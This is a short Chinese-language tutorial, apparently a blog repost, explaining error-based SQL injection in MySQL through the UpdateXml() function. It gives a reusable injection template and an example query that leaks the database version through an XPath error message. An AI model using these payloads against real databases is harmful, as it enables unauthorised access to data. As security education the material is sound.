MYSQL 通過UpdateXml()報錯注入
阿新 • • 發佈:2021-02-05
技術標籤:mysql
函式解釋:
UPDATEXML (XML_document, XPath_string, new_value);
第一個引數:XML_document是String格式,為XML文件物件的名稱
第二個引數:XPath_string (Xpath格式的字串) ,如果不瞭解Xpath語法,可以在網上查詢教程。
第三個引數:new_value,String格式,替換查詢到的符合條件的資料
作用:此函式用來更新選定XML片段的內容,將XML標記的給定片段的單個部分替換為 xml_target 新的XML片段 new_xml ,然後返回更 改的XML。xml_target替換的部分 與xpath_expr
報錯原理
這裡和extractvalue函式一樣,當Xpath路徑語法錯誤時,就會報錯,報錯內容含有錯誤的路徑內容。
約束條件
輸出字元長度限制為32個字元
注入語句
and updatexml(1,concat(0x7e,(程式碼操作),0x7e),3)
舉例
構造注入語句:
select name from user where id=1 and updatexml(1,concat(0x7e,(select version()),0x7e),3);
發現注入成功,成功爆出版本號。